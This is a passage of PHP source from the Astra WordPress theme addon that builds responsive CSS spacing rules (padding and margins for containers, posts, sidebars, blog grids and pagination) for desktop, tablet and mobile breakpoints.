.related-posts-title-wrapper, .single.ast-separate-container .ast-author-details, .single.ast-separate-container .about-author-title-wrapper, .ast-separate-container .ast-related-posts-wrap, .ast-separate-container .ast-woocommerce-container' => array( 'padding-right' => astra_responsive_spacing( $container_inside_spacing, 'right', 'desktop' ), 'padding-left' => astra_responsive_spacing( $container_inside_spacing, 'left', 'desktop' ), ), // Narrow Container global inside spacing support. '.ast-narrow-container .ast-article-post, .ast-narrow-container .ast-article-single,.ast-narrow-container .comments-count-wrapper, .ast-narrow-container .ast-comment-list li.depth-1, .ast-narrow-container .comment-respond,.ast-narrow-container .related-posts-title-wrapper,.ast-narrow-container .related-posts-title-wrapper, .single.ast-narrow-container .ast-author-details, .single.ast-narrow-container .about-author-title-wrapper, .ast-narrow-container .ast-related-posts-wrap, .ast-narrow-container .ast-woocommerce-container, .ast-narrow-container .ast-single-related-posts-container' => array( 'padding-right' => astra_responsive_spacing( $container_inside_spacing, 'right', 'desktop' ), 'padding-left' => astra_responsive_spacing( $container_inside_spacing, 'left', 'desktop' ), ), '.ast-separate-container.ast-right-sidebar #primary, .ast-separate-container.ast-left-sidebar #primary, .ast-separate-container #primary, .ast-plain-container #primary, .ast-narrow-container #primary' => array( 'margin-top' => astra_responsive_spacing( $continder_outside_spacing, 'top', 'desktop' ), 'margin-bottom' => astra_responsive_spacing( $continder_outside_spacing, 'bottom', 'desktop' ), ), '.ast-left-sidebar #primary, .ast-right-sidebar #primary, .ast-separate-container.ast-right-sidebar #primary, .ast-separate-container.ast-left-sidebar #primary, .ast-separate-container #primary, .ast-narrow-container #primary' => array( 'padding-left' => astra_responsive_spacing( $continder_outside_spacing, 'left', 'desktop' ), 'padding-right' => astra_responsive_spacing( $continder_outside_spacing, 'right', 'desktop' ), ), // Negative margin for the alignfull gutenberg class based on the padding. $alignfull_editor_selector => array( 'margin-right' => astra_responsive_spacing( $container_inside_spacing, 'right', 'desktop', '', '-' ), 'margin-left' => astra_responsive_spacing( $container_inside_spacing, 'left', 'desktop', '', '-' ), ), /** * Single Post Content Spacing */ '.ast-separate-container.ast-single-post .ast-article-post, .ast-separate-container.ast-single-post .ast-article-single, .ast-separate-container.ast-single-post .ast-comment-list li.depth-1, .ast-separate-container.ast-single-post .comment-respond, .ast-separate-container.ast-single-post .ast-related-posts-wrap, .ast-separate-container.ast-single-post .ast-woocommerce-container, .single.ast-separate-container.ast-single-post .ast-author-meta' => array( 'padding-top' => astra_responsive_spacing( $single_post_inside_spacing, 'top', 'desktop' ), 'padding-bottom' => astra_responsive_spacing( $single_post_inside_spacing, 'bottom', 'desktop' ), ), // Narrow Container single post inside spacing support. '.ast-narrow-container.ast-single-post .ast-article-post, .ast-narrow-container.ast-single-post .ast-article-single, .ast-narrow-container.ast-single-post .ast-comment-list li.depth-1, .ast-narrow-container.ast-single-post .comment-respond, .ast-narrow-container.ast-single-post .ast-related-posts-wrap, .ast-narrow-container.ast-single-post .ast-woocommerce-container, .single.ast-narrow-container.ast-single-post .ast-author-meta, .ast-narrow-container.ast-single-post .ast-single-related-posts-container' => array( 'padding-top' => astra_responsive_spacing( $single_post_inside_spacing, 'top', 'desktop' ), 'padding-bottom' => astra_responsive_spacing( $single_post_inside_spacing, 'bottom', 'desktop' ), ), '.ast-separate-container.ast-single-post .ast-article-post, .ast-separate-container.ast-single-post .ast-article-single, .ast-separate-container.ast-single-post .comments-count-wrapper, .ast-separate-container.ast-single-post .ast-comment-list li.depth-1, .ast-separate-container.ast-single-post .comment-respond,.ast-separate-container.ast-single-post .related-posts-title-wrapper,.ast-separate-container.ast-single-post .related-posts-title-wrapper, .single.ast-separate-container.ast-single-post .ast-author-meta, .ast-separate-container.ast-single-post .ast-related-posts-wrap, .ast-separate-container.ast-single-post .ast-woocommerce-container' => array( 'padding-right' => astra_responsive_spacing( $single_post_inside_spacing, 'right', 'desktop' ), 'padding-left' => astra_responsive_spacing( $single_post_inside_spacing, 'left', 'desktop' ), ), // Narrow Container single post inside spacing support. '.ast-narrow-container.ast-single-post .ast-article-post, .ast-narrow-container.ast-single-post .ast-article-single, .ast-narrow-container.ast-single-post .comments-count-wrapper, .ast-narrow-container.ast-single-post .ast-comment-list li.depth-1, .ast-narrow-container.ast-single-post .comment-respond,.ast-narrow-container.ast-single-post .related-posts-title-wrapper,.ast-narrow-container.ast-single-post .related-posts-title-wrapper, .single.ast-narrow-container.ast-single-post .ast-author-meta, .ast-narrow-container.ast-single-post .ast-related-posts-wrap, .ast-narrow-container.ast-single-post .ast-woocommerce-container, .ast-narrow-container.ast-single-post .ast-single-related-posts-container' => array( 'padding-right' => astra_responsive_spacing( $single_post_inside_spacing, 'right', 'desktop' ), 'padding-left' => astra_responsive_spacing( $single_post_inside_spacing, 'left', 'desktop' ), ), /** * Sidebar Spacing */ '.ast-plain-container #secondary, .ast-separate-container #secondary, .ast-page-builder-template #secondary' => array( 'margin-top' => astra_responsive_spacing( $sidebar_outside_spacing, 'top', 'desktop' ), 'margin-bottom' => astra_responsive_spacing( $sidebar_outside_spacing, 'bottom', 'desktop' ), ), '.ast-right-sidebar #secondary, .ast-left-sidebar #secondary, .ast-separate-container.ast-two-container.ast-left-sidebar #secondary, .ast-separate-container.ast-two-container.ast-right-sidebar #secondary, .ast-separate-container.ast-right-sidebar #secondary, .ast-separate-container.ast-left-sidebar #secondary' => array( 'padding-left' => astra_responsive_spacing( $sidebar_outside_spacing, 'left', 'desktop' ), 'padding-right' => astra_responsive_spacing( $sidebar_outside_spacing, 'right', 'desktop' ), ), // Sidebar Inside Spacing Top / Bottom / Left / Right Padding. '.ast-separate-container.ast-two-container #secondary .widget, .ast-separate-container #secondary .widget, .ast-plain-container #secondary .widget' => array( 'padding-top' => astra_responsive_spacing( $sidebar_inside_spacing, 'top', 'desktop' ), 'padding-bottom' => astra_responsive_spacing( $sidebar_inside_spacing, 'bottom', 'desktop' ), ), '.ast-two-container.ast-right-sidebar #secondary .widget, .ast-two-container.ast-left-sidebar #secondary .widget, .ast-separate-container #secondary .widget, .ast-plain-container #secondary .widget' => array( 'padding-left' => astra_responsive_spacing( $sidebar_inside_spacing, 'left', 'desktop' ), 'padding-right' => astra_responsive_spacing( $sidebar_inside_spacing, 'right', 'desktop' ), ), /** * Blog Grid Spacing */ // Blog Grid Outside Spacing. '.ast-separate-container .ast-grid-2 .ast-article-post.ast-separate-posts:nth-child(2n+0), .ast-separate-container .ast-grid-2 .ast-article-post.ast-separate-posts:nth-child(2n+1), .ast-separate-container .ast-grid-3 .ast-article-post.ast-separate-posts:nth-child(2n+0), .ast-separate-container .ast-grid-3 .ast-article-post.ast-separate-posts:nth-child(2n+1), .ast-separate-container .ast-grid-4 .ast-article-post.ast-separate-posts:nth-child(2n+0), .ast-separate-container .ast-grid-4 .ast-article-post.ast-separate-posts:nth-child(2n+1)' => array( 'padding-top' => astra_responsive_spacing( $blog_post_outside_spacing, 'top', 'desktop' ), 'padding-right' => astra_responsive_spacing( $blog_post_outside_spacing, 'right', 'desktop' ), 'padding-bottom' => astra_responsive_spacing( $blog_post_outside_spacing, 'bottom', 'desktop' ), 'padding-left' => astra_responsive_spacing( $blog_post_outside_spacing, 'left', 'desktop' ), ), // Narrow Container blog grid support for outside spacing. '.ast-narrow-container .ast-grid-2 .ast-article-post.ast-separate-posts:nth-child(2n+0), .ast-narrow-container .ast-grid-2 .ast-article-post.ast-separate-posts:nth-child(2n+1), .ast-narrow-container .ast-grid-3 .ast-article-post.ast-separate-posts:nth-child(2n+0), .ast-narrow-container .ast-grid-3 .ast-article-post.ast-separate-posts:nth-child(2n+1), .ast-narrow-container .ast-grid-4 .ast-article-post.ast-separate-posts:nth-child(2n+0), .ast-narrow-container .ast-grid-4 .ast-article-post.ast-separate-posts:nth-child(2n+1)' => array( 'padding-top' => astra_responsive_spacing( $blog_post_outside_spacing, 'top', 'desktop' ), 'padding-right' => astra_responsive_spacing( $blog_post_outside_spacing, 'right', 'desktop' ), 'padding-bottom' => astra_responsive_spacing( $blog_post_outside_spacing, 'bottom', 'desktop' ), 'padding-left' => astra_responsive_spacing( $blog_post_outside_spacing, 'left', 'desktop' ), ), // Blog Grid Inside Spacing. '.ast-separate-container .ast-grid-2 .blog-layout-1, .ast-separate-container .ast-grid-2 .blog-layout-2, .ast-separate-container .ast-grid-2 .blog-layout-3, .ast-separate-container .ast-grid-3 .blog-layout-1, .ast-separate-container .ast-grid-3 .blog-layout-2, .ast-separate-container .ast-grid-3 .blog-layout-3, .ast-separate-container .ast-grid-4 .blog-layout-1, .ast-separate-container .ast-grid-4 .blog-layout-2, .ast-separate-container .ast-grid-4 .blog-layout-3' => array( 'padding-top' => astra_responsive_spacing( $blog_post_inside_spacing, 'top', 'desktop' ), 'padding-right' => astra_responsive_spacing( $blog_post_inside_spacing, 'right', 'desktop' ), 'padding-bottom' => astra_responsive_spacing( $blog_post_inside_spacing, 'bottom', 'desktop' ), 'padding-left' => astra_responsive_spacing( $blog_post_inside_spacing, 'left', 'desktop' ), ), // Narrow Container blog grid support for inside spacing. '.ast-narrow-container .ast-grid-2 .blog-layout-1, .ast-narrow-container .ast-grid-2 .blog-layout-2, .ast-narrow-container .ast-grid-2 .blog-layout-3, .ast-narrow-container .ast-grid-3 .blog-layout-1, .ast-narrow-container .ast-grid-3 .blog-layout-2, .ast-narrow-container .ast-grid-3 .blog-layout-3, .ast-narrow-container .ast-grid-4 .blog-layout-1, .ast-narrow-container .ast-grid-4 .blog-layout-2, .ast-narrow-container .ast-grid-4 .blog-layout-3' => array( 'padding-top' => astra_responsive_spacing( $blog_post_inside_spacing, 'top', 'desktop' ), 'padding-right' => astra_responsive_spacing( $blog_post_inside_spacing, 'right', 'desktop' ), 'padding-bottom' => astra_responsive_spacing( $blog_post_inside_spacing, 'bottom', 'desktop' ), 'padding-left' => astra_responsive_spacing( $blog_post_inside_spacing, 'left', 'desktop' ), ), // Blog Pagination Spacing. '.ast-pagination' => array( 'padding-top' => astra_responsive_spacing( $blog_post_pagination_spacing, 'top', 'desktop' ), 'padding-right' => astra_responsive_spacing( $blog_post_pagination_spacing, 'right', 'desktop' ), 'padding-bottom' => astra_responsive_spacing( $blog_post_pagination_spacing, 'bottom', 'desktop' ), 'padding-left' => astra_responsive_spacing( $blog_post_pagination_spacing, 'left', 'desktop' ), ), ); if ( $is_new_strctural_defaults ) { $spacing['.ast-separate-container .comments-title, .ast-narrow-container .comments-title'] = array( 'padding-right' => astra_responsive_spacing( $single_post_inside_spacing, 'right', 'desktop' ), 'padding-left' => astra_responsive_spacing( $single_post_inside_spacing, 'left', 'desktop' ), 'padding-top' => astra_responsive_spacing( $single_post_inside_spacing, 'top', 'desktop' ), 'padding-bottom' => '0', ); } if ( false === astra_addon_builder_helper()->is_header_footer_builder_active ) { /** * Site Identity Spacing */ $spacing['.site-header .ast-site-identity'] = array( 'padding-top' => astra_responsive_spacing( $site_identity_spacing, 'top', 'desktop' ), 'padding-right' => astra_responsive_spacing( $site_identity_spacing, 'right', 'desktop' ), 'padding-bottom' => astra_responsive_spacing( $site_identity_spacing, 'bottom', 'desktop' ), 'padding-left' => astra_responsive_spacing( $site_identity_spacing, 'left', 'desktop' ), ); } $spacing_css_output = astra_parse_css( $spacing ); $tablet_spacing = array( /** * Content Spacing */ '.ast-separate-container .ast-article-post, .ast-separate-container .ast-article-single, .ast-separate-container .ast-comment-list li.depth-1, .ast-separate-container .comment-respond, .single.ast-separate-container .ast-author-details, .ast-separate-container .ast-related-posts-wrap, .ast-separate-container .ast-woocommerce-container' => array( 'padding-top' => astra_responsive_spacing( $container_inside_spacing, 'top', 'tablet' ), 'padding-bottom' => astra_responsive_spacing( $container_inside_spacing, 'bottom', 'tablet' ), ), '.ast-separate-container .ast-article-post, .ast-separate-container .ast-article-single,.ast-separate-container .comments-count-wrapper, .ast-separate-container .ast-comment-list li.depth-1, .ast-separate-container .comment-respond,.ast-separate-container .related-posts-title-wrapper,.ast-separate-container .related-posts-title-wrapper, .single.ast-separate-container .ast-author-details, .single.ast-separate-container .about-author-title-wrapper, .ast-separate-container .ast-related-posts-wrap, .ast-separate-container .ast-woocommerce-container, .ast-separate-container .ast-single-related-posts-container' => array( 'padding-right' => astra_responsive_spacing( $container_inside_spacing, 'right', 'tablet' ), 'padding-left' => astra_responsive_spacing( $container_inside_spacing, 'left', 'tablet' ), ), // Narrow Container global tablet support for inside spacing. '.ast-narrow-container .ast-article-post, .ast-narrow-container .ast-article-single, .ast-narrow-container .ast-comment-list li.depth-1, .ast-narrow-container .comment-respond, .single.ast-narrow-container .ast-author-details, .ast-narrow-container .ast-related-posts-wrap, .ast-narrow-container .ast-woocommerce-container, .ast-narrow-container .ast-single-related-posts-container' => array( 'padding-top' => astra_responsive_spacing( $container_inside_spacing, 'top', 'tablet' ), 'padding-bottom' => astra_responsive_spacing( $container_inside_spacing, 'bottom', 'tablet' ), ), // Narrow Container global tablet support for inside spacing. '.ast-narrow-container .ast-article-post, .ast-narrow-container .ast-article-single,.ast-narrow-container .comments-count-wrapper, .ast-narrow-container .ast-comment-list li.depth-1, .ast-narrow-container .comment-respond,.ast-narrow-container .related-posts-title-wrapper,.ast-narrow-container .related-posts-title-wrapper, .single.ast-narrow-container .ast-author-details, .single.ast-narrow-container .about-author-title-wrapper, .ast-narrow-container .ast-related-posts-wrap, .ast-narrow-container .ast-woocommerce-container, .ast-narrow-container .ast-single-related-posts-container' => array( 'padding-right' => astra_responsive_spacing( $container_inside_spacing, 'right', 'tablet' ), 'padding-left' => astra_responsive_spacing( $container_inside_spacing, 'left', 'tablet' ), ), '.ast-separate-container.ast-right-sidebar #primary, .ast-separate-container.ast-left-sidebar #primary, .ast-separate-container #primary, .ast-plain-container #primary, .ast-narrow-container #primary' => array( 'margin-top' => astra_responsive_spacing( $continder_outside_spacing, 'top', 'tablet' ), 'margin-bottom' => astra_responsive_spacing( $continder_outside_spacing, 'bottom', 'tablet' ), ), '.ast-left-sidebar #primary, .ast-right-sidebar #primary, .ast-separate-container.ast-right-sidebar #primary, .ast-separate-container.ast-left-sidebar #primary, .ast-separate-container #primary, .ast-narrow-container #primary' => array( 'padding-left' => astra_responsive_spacing( $continder_outside_spacing, 'left', 'tablet' ), 'padding-right' => astra_responsive_spacing( $continder_outside_spacing, 'right', 'tablet' ), ), /** * Single Post Content Spacing */ '.ast-separate-container.ast-single-post .ast-article-post, .ast-separate-container.ast-single-post .ast-article-single, .ast-separate-container.ast-single-post .ast-comment-list li.depth-1, .ast-separate-container.ast-single-post .comment-respond, .ast-separate-container.ast-single-post .ast-related-posts-wrap, .ast-separate-container.ast-single-post .ast-woocommerce-container, .single.ast-separate-container.ast-single-post .ast-author-meta' => array( 'padding-top' => astra_responsive_spacing( $single_post_inside_spacing, 'top', 'tablet' ), 'padding-bottom' => astra_responsive_spacing( $single_post_inside_spacing, 'bottom', 'tablet' ), ), // Narrow Container single post tablet support for inside spacing. '.ast-narrow-container.ast-single-post .ast-article-post, .ast-narrow-container.ast-single-post .ast-article-single, .ast-narrow-container.ast-single-post .ast-comment-list li.depth-1, .ast-narrow-container.ast-single-post .comment-respond, .ast-narrow-container.ast-single-post .ast-related-posts-wrap, .ast-narrow-container.ast-single-post .ast-woocommerce-container, .single.ast-narrow-container.ast-single-post .ast-author-meta, .ast-narrow-container.ast-single-post .ast-single-related-posts-container' => array( 'padding-top' => astra_responsive_spacing( $single_post_inside_spacing, 'top', 'tablet' ), 'padding-bottom' => astra_responsive_spacing( $single_post_inside_spacing, 'bottom', 'tablet' ), ), '.ast-separate-container.ast-single-post .ast-article-post, .ast-separate-container.ast-single-post .ast-article-single,.ast-separate-container.ast-single-post .comments-count-wrapper, .ast-separate-container.ast-single-post .ast-comment-list li.depth-1, .ast-separate-container.ast-single-post .comment-respond,.ast-separate-container.ast-single-post .related-posts-title-wrapper,.ast-separate-container.ast-single-post .related-posts-title-wrapper, .single.ast-separate-container.ast-single-post .ast-author-meta, .ast-separate-container.ast-single-post .ast-related-posts-wrap, .ast-separate-container.ast-single-post .ast-woocommerce-container' => array( 'padding-right' => astra_responsive_spacing( $single_post_inside_spacing, 'right', 'tablet' ), 'padding-left' => astra_responsive_spacing( $single_post_inside_spacing, 'left', 'tablet' ), ), '.ast-separate-container.ast-single-post .ast-article-post, .ast-separate-container.ast-single-post .ast-article-single,.ast-separate-container.ast-single-post .comments-count-wrapper, .ast-separate-container.ast-single-post .ast-comment-list li.depth-1, .ast-separate-container.ast-single-post .comment-respond,.ast-separate-container.ast-single-post .related-posts-title-wrapper,.ast-separate-container.ast-single-post .related-posts-title-wrapper, .single.ast-separate-container.ast-single-post .ast-author-meta, .ast-separate-container.ast-single-post .ast-related-posts-wrap, .ast-separate-container.ast-single-post .ast-woocommerce-container' => array( 'padding-right' => astra_responsive_spacing( $single_post_inside_spacing, 'right', 'tablet' ), 'padding-left' => astra_responsive_spacing( $single_post_inside_spacing, 'left', 'tablet' ), ), // Narrow Container single post tablet support for inside spacing. '.ast-narrow-container.ast-single-post .ast-article-post, .ast-narrow-container.ast-single-post .ast-article-single,.ast-narrow-container.ast-single-post .comments-count-wrapper, .ast-narrow-container.ast-single-post .ast-comment-list li.depth-1, .ast-narrow-container.ast-single-post .comment-respond,.ast-narrow-container.ast-single-post .related-posts-title-wrapper,.ast-narrow-container.ast-single-post .related-posts-title-wrapper, .single.ast-narrow-container.ast-single-post .ast-author-meta, .ast-narrow-container.ast-single-post .ast-related-posts-wrap, .ast-narrow-container.ast-single-post .ast-woocommerce-container, .ast-narrow-container.ast-single-post .ast-single-related-posts-container' => array( 'padding-right' => astra_responsive_spacing( $single_post_inside_spacing, 'right', 'tablet' ), 'padding-left' => astra_responsive_spacing( $single_post_inside_spacing, 'left', 'tablet' ), ), /** * Blog Grid Spacing */ // Blog Grid Outside Spacing. '.ast-separate-container .ast-grid-2 .ast-article-post.ast-separate-posts:nth-child(2n+0), .ast-separate-container .ast-grid-2 .ast-article-post.ast-separate-posts:nth-child(2n+1), .ast-separate-container .ast-grid-3 .ast-article-post.ast-separate-posts:nth-child(2n+0), .ast-separate-container .ast-grid-3 .ast-article-post.ast-separate-posts:nth-child(2n+1), .ast-separate-container .ast-grid-4 .ast-article-post.ast-separate-posts:nth-child(2n+0), .ast-separate-container .ast-grid-4 .ast-article-post.ast-separate-posts:nth-child(2n+1)' => array( 'padding-top' => astra_responsive_spacing( $blog_post_outside_spacing, 'top', 'tablet' ), 'padding-right' => astra_responsive_spacing( $blog_post_outside_spacing, 'right', 'tablet' ), 'padding-bottom' => astra_responsive_spacing( $blog_post_outside_spacing, 'bottom', 'tablet' ), 'padding-left' => astra_responsive_spacing( $blog_post_outside_spacing, 'left', 'tablet' ), ), // Narrow Container blog grid tablet support for outside spacing. '.ast-narrow-container .ast-grid-2 .ast-article-post.ast-separate-posts:nth-child(2n+0), .ast-narrow-container .ast-grid-2 .ast-article-post.ast-separate-posts:nth-child(2n+1), .ast-narrow-container .ast-grid-3 .ast-article-post.ast-separate-posts:nth-child(2n+0), .ast-narrow-container .ast-grid-3 .ast-article-post.ast-separate-posts:nth-child(2n+1), .ast-narrow-container .ast-grid-4 .ast-article-post.ast-separate-posts:nth-child(2n+0), .ast-narrow-container .ast-grid-4 .ast-article-post.ast-separate-posts:nth-child(2n+1)' => array( 'padding-top' => astra_responsive_spacing( $blog_post_outside_spacing, 'top', 'tablet' ), 'padding-right' => astra_responsive_spacing( $blog_post_outside_spacing, 'right', 'tablet' ), 'padding-bottom' => astra_responsive_spacing( $blog_post_outside_spacing, 'bottom', 'tablet' ), 'padding-left' => astra_responsive_spacing( $blog_post_outside_spacing, 'left', 'tablet' ), ), // Blog Grid Inside Spacing. '.ast-separate-container .ast-grid-2 .blog-layout-1, .ast-separate-container .ast-grid-2 .blog-layout-2, .ast-separate-container .ast-grid-2 .blog-layout-3, .ast-separate-container .ast-grid-3 .blog-layout-1, .ast-separate-container .ast-grid-3 .blog-layout-2, .ast-separate-container .ast-grid-3 .blog-layout-3, .ast-separate-container .ast-grid-4 .blog-layout-1, .ast-separate-container .ast-grid-4 .blog-layout-2, .ast-separate-container .ast-grid-4 .blog-layout-3' => array( 'padding-top' => astra_responsive_spacing( $blog_post_inside_spacing, 'top', 'tablet' ), 'padding-right' => astra_responsive_spacing( $blog_post_inside_spacing, 'right', 'tablet' ), 'padding-bottom' => astra_responsive_spacing( $blog_post_inside_spacing, 'bottom', 'tablet' ), 'padding-left' => astra_responsive_spacing( $blog_post_inside_spacing, 'left', 'tablet' ), ), // Narrow Container blog grid tablet support for inside spacing. '.ast-narrow-container .ast-grid-2 .blog-layout-1, .ast-narrow-container .ast-grid-2 .blog-layout-2, .ast-narrow-container .ast-grid-2 .blog-layout-3, .ast-narrow-container .ast-grid-3 .blog-layout-1, .ast-narrow-container .ast-grid-3 .blog-layout-2, .ast-narrow-container .ast-grid-3 .blog-layout-3, .ast-narrow-container .ast-grid-4 .blog-layout-1, .ast-narrow-container .ast-grid-4 .blog-layout-2, .ast-narrow-container .ast-grid-4 .blog-layout-3' => array( 'padding-top' => astra_responsive_spacing( $blog_post_inside_spacing, 'top', 'tablet' ), 'padding-right' => astra_responsive_spacing( $blog_post_inside_spacing, 'right', 'tablet' ), 'padding-bottom' => astra_responsive_spacing( $blog_post_inside_spacing, 'bottom', 'tablet' ), 'padding-left' => astra_responsive_spacing( $blog_post_inside_spacing, 'left', 'tablet' ), ), // Blog Pagination Spacing. '.ast-pagination' => array( 'padding-top' => astra_responsive_spacing( $blog_post_pagination_spacing, 'top', 'tablet' ), 'padding-right' => astra_responsive_spacing( $blog_post_pagination_spacing, 'right', 'tablet' ), 'padding-bottom' => astra_responsive_spacing( $blog_post_pagination_spacing, 'bottom', 'tablet' ), 'padding-left' => astra_responsive_spacing( $blog_post_pagination_spacing, 'left', 'tablet' ), ), $alignfull_editor_selector => array( 'margin-right' => astra_responsive_spacing( $container_inside_spacing, 'right', 'tablet', '', '-' ), 'margin-left' => astra_responsive_spacing( $container_inside_spacing, 'left', 'tablet', '', '-' ), ), ); if ( $is_new_strctural_defaults ) { $tablet_spacing['.ast-separate-container .comments-title, .ast-narrow-container .comments-title'] = array( 'padding-right' => astra_responsive_spacing( $single_post_inside_spacing, 'right', 'tablet' ), 'padding-left' => astra_responsive_spacing( $single_post_inside_spacing, 'left', 'tablet' ), 'padding-top' => astra_responsive_spacing( $single_post_inside_spacing, 'top', 'tablet' ), 'padding-bottom' => '0', ); } if ( false === astra_addon_builder_helper()->is_header_footer_builder_active ) { /** * Site Identity Spacing */ $tablet_spacing['.site-header .ast-site-identity'] = array( 'padding-top' => astra_responsive_spacing( $site_identity_spacing, 'top', 'tablet' ), 'padding-right' => astra_responsive_spacing( $site_identity_spacing, 'right', 'tablet' ), 'padding-bottom' => astra_responsive_spacing( $site_identity_spacing, 'bottom', 'tablet' ), 'padding-left' => astra_responsive_spacing( $site_identity_spacing, 'left', 'tablet' ), ); } $spacing_css_output .= astra_parse_css( $tablet_spacing, '', astra_addon_get_tablet_breakpoint() ); $mobile_spacing = array( /** * Content Spacing */ '.ast-separate-container .ast-article-post, .ast-separate-container .ast-article-single, .ast-separate-container .ast-comment-list li.depth-1, .ast-separate-container .comment-respond, .single.ast-separate-container .ast-author-details, .ast-separate-container .ast-related-posts-wrap, .ast-separate-container .ast-woocommerce-container' => array( 'padding-top' => astra_responsive_spacing( $container_inside_spacing, 'top', 'mobile' ), 'padding-bottom' => astra_responsive_spacing( $container_inside_spacing, 'bottom', 'mobile' ), ), // Narrow Container global mobile support for inside spacing. '.ast-narrow-container .ast-article-post, .ast-narrow-container .ast-article-single, .ast-narrow-container .ast-comment-list li.depth-1, .ast-narrow-container .comment-respond, .single.ast-narrow-container .ast-author-details, .ast-narrow-container .ast-related-posts-wrap, .ast-narrow-container .ast-woocommerce-container, .ast-narrow-container .ast-single-related-posts-container' => array( 'padding-top' => astra_responsive_spacing( $container_inside_spacing, 'top', 'mobile' ), 'padding-bottom' => astra_responsive_spacing( $container_inside_spacing, 'bottom', 'mobile' ), ), '.ast-separate-container .ast-article-post, .ast-separate-container .ast-article-single,.ast-separate-container .comments-count-wrapper, .ast-separate-container .ast-comment-list li.depth-1, .ast-separate-container .comment-respond,.ast-separate-container .related-posts-title-wrapper,.ast-separate-container .related-posts-title-wrapper, .single.ast-separate-container .ast-author-details, .single.ast-separate-container .about-author-title-wrapper, .ast-separate-container .ast-related-posts-wrap, .ast-separate-container .ast-woocommerce-container' => array( 'padding-right' => astra_responsive_spacing( $container_inside_spacing, 'right', 'mobile' ), 'padding-left' => astra_responsive_spacing( $container_inside_spacing, 'left', 'mobile' ), ), // Narrow Container global mobile support for inside spacing. '.ast-narrow-container .ast-article-post, .ast-narrow-container .ast-article-single,.ast-narrow-container .comments-count-wrapper, .ast-narrow-container .ast-comment-list li.depth-1, .ast-narrow-container .comment-respond,.ast-narrow-container .related-posts-title-wrapper,.ast-narrow-container .related-posts-title-wrapper, .single.ast-narrow-container .ast-author-details, .single.ast-narrow-container .about-author-title-wrapper, .ast-narrow-container .ast-related-posts-wrap, .ast-narrow-container .ast-woocommerce-container, .ast-narrow-container .ast-single-related-posts-container' => array( 'padding-right' => astra_responsive_spacing( $container_inside_spacing, 'right', 'mobile' ), 'padding-left' => astra_responsive_spacing( $container_inside_spacing, 'left', 'mobile' ), ), '.ast-separate-container.ast-right-sidebar #primary, .ast-separate-container.ast-left-sidebar #primary, .ast-separate-container #primary, .ast-plain-container #primary, .ast-narrow-container #primary' => array( 'margin-top' => astra_responsive_spacing( $continder_outside_spacing, 'top', 'mobile' ), 'margin-bottom' => astra_responsive_spacing( $continder_outside_spacing, 'bottom', 'mobile' ), ), '.ast-left-sidebar #primary, .ast-right-sidebar #primary, .ast-separate-container.ast-right-sidebar #primary, .ast-separate-container.ast-left-sidebar #primary, .ast-separate-container #primary, .ast-narrow-container #primary' => array( 'padding-left' => astra_responsive_spacing( $continder_outside_spacing, 'left', 'mobile' ), 'padding-right' => astra_responsive_spacing( $continder_outside_spacing, 'right', 'mobile' ), ), /** * Single Post Content Spacing */ '.main-navigation ul .menu-item .menu-link, .ast-header-break-point .main-navigation ul .menu-item .menu-link, .ast-header-break-point li.ast-masthead-custom-menu-items, li.ast-masthead-custom-menu-items' => array( 'padding-top' => astra_responsive_spacing( $primary_menu_spacing, 'top', 'mobile' ), 'padding-right' => astra_responsive_spacing( $primary_menu_spacing, 'right', 'mobile' ), 'padding-bottom' => astra_responsive_spacing( $primary_menu_spacing, 'bottom', 'mobile' ), 'padding-left' => astra_responsive_spacing( $primary_menu_spacing, 'left', 'mobile' ), ), '.ast-header-break-point .main-navigation ul .menu-item.menu-item-has-children button' => array( 'padding-right' => astra_responsive_spacing( $primary_menu_spacing, 'right', 'mobile' ), 'padding-bottom' => astra_responsive_spacing( $primary_menu_spacing, 'bottom', 'mobile' ), ), '.ast-separate-container.ast-single-post .ast-article-post, .ast-separate-container.ast-single-post .ast-article-single,.ast-separate-container.ast-single-post .comments-count-wrapper, .ast-separate-container.ast-single-post .ast-comment-list li.depth-1, .ast-separate-container.ast-single-post .comment-respond, .ast-separate-container.ast-single-post .related-posts-title-wrapper, .single.ast-separate-container.ast-single-post .ast-author-meta, .ast-separate-container.ast-single-post .ast-related-posts-wrap, .ast-separate-container.ast-single-post .ast-woocommerce-container' => array( 'padding-right' => astra_responsive_spacing( $single_post_inside_spacing, 'right', 'mobile' ), 'padding-left' => astra_responsive_spacing( $single_post_inside_spacing, 'left', 'mobile' ), 'padding-top' => astra_responsive_spacing( $single_post_inside_spacing, 'top', 'mobile' ), 'padding-bottom' => astra_responsive_spacing( $single_post_inside_spacing, 'bottom', 'mobile' ), ), // Narrow Container single post mobile support for inside spacing. '.ast-narrow-container.ast-single-post .ast-article-post, .ast-narrow-container.ast-single-post .ast-article-single,.ast-narrow-container.ast-single-post .comments-count-wrapper, .ast-narrow-container.ast-single-post .ast-comment-list li.depth-1, .ast-narrow-container.ast-single-post .comment-respond, .ast-narrow-container.ast-single-post .related-posts-title-wrapper, .single.ast-narrow-container.ast-single-post .ast-author-meta, .ast-narrow-container.ast-single-post .ast-related-posts-wrap, .ast-narrow-container.ast-single-post .ast-woocommerce-container' => array( 'padding-right' => astra_responsive_spacing( $single_post_inside_spacing, 'right', 'mobile' ), 'padding-left' => astra_responsive_spacing( $single_post_inside_spacing, 'left', 'mobile' ), 'padding-top' => astra_responsive_spacing( $single_post_inside_spacing, 'top', 'mobile' ), 'padding-bottom' => astra_responsive_spacing( $single_post_inside_spacing, 'bottom', 'mobile' ), ), /** * Sidebar Spacing */ // Sidebar Spacing Top / Bottom Padding. '.ast-plain-container #secondary,.ast-separate-container #secondary, .ast-page-builder-template #secondary' => array( 'margin-top' => astra_responsive_spacing( $sidebar_outside_spacing, 'top', 'mobile' ), 'margin-bottom' => astra_responsive_spacing( $sidebar_outside_spacing, 'bottom', 'mobile' ), ), '.ast-right-sidebar #secondary, .ast-left-sidebar #secondary, .ast-separate-container.ast-two-container.ast-left-sidebar #secondary, .ast-separate-container.ast-two-container.ast-right-sidebar #secondary, .ast-separate-container.ast-right-sidebar #secondary, .ast-separate-container.ast-left-sidebar #secondary' => array( 'padding-left' => astra_responsive_spacing( $sidebar_outside_spacing, 'left', 'mobile' ), 'padding-right' => astra_responsive_spacing( $sidebar_outside_spacing, 'right', 'mobile' ), ), // Sidebar Inside Spacing Top / Bottom / Left / Right Padding. '.ast-separate-container.ast-two-container #secondary .widget, .ast-separate-container #secondary .widget, .ast-plain-container #secondary .widget' => array( 'padding-top' => astra_responsive_spacing( $sidebar_inside_spacing, 'top', 'mobile' ), 'padding-bottom' => astra_responsive_spacing( $sidebar_inside_spacing, 'bottom', 'mobile' ), ), 